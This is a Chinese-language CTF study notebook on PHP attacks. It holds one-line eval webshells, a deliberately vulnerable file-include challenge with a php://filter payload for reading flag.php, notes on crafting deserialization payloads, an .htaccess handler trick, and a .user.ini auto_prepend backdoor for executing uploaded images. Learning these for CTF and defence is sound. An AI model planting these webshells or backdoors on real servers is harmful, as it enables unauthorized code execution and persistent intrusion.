CTF记录 PHP

CTF学习记录-PHP出现以下处理方案

一句话木马

<?php @eval($_POST['shell']);?>

<script language="php">eval($_POST['a']);</script>

PHP LFI 漏洞

源代码如下

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

使用PHP伪协议将flag.php文件转换成base64 格式

php://filter/read=convert.base64-encode/resource=flag.php

PHP 反序列化

unserialize()函数

php在unserialize()函数中将字符串恢复为对象时会调用PHP魔术方法

方法作用
__construct()构造函数,实例化类时自动调用
__destruct()析构函数,销毁对象时自动调用
__sleep()序列化对象时自动调用
__wakeup()反序列化对象时自动调用
__toString()类被当成字符串时自动调用

使用以下代码可以产生渗透需要的序列化字符串

<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$object = new Name();
var_dump(serialize($object)) ;
?>

O:4:“Name”:2:{s:14:" Name username";s:5:“admin”;s:14:" Name password";s:3:“100”;}

class 属性类型

需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。

  1. 使用public修饰进行序列化后,变量长度不变,正常输出。
  2. 使用private修饰进行序列化后,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
  3. 使用protected修饰进行序列化后,序列化时:\x00 + * + \x00 + [变量名]
  4. PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

利用PHP的字符串解析特性绕过Waf

链接

利用.htaccess和图片上传木马

.htaccess

SetHandler application/x-httpd-php

利用.user.ini上传\隐藏后门

参考链接 条件:

  • 1、服务器脚本语言为PHP
  • 2、服务器使用CGI/FastCGI模式
  • 3、上传目录下要有可执行的php文件
GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg  //解析后进行包含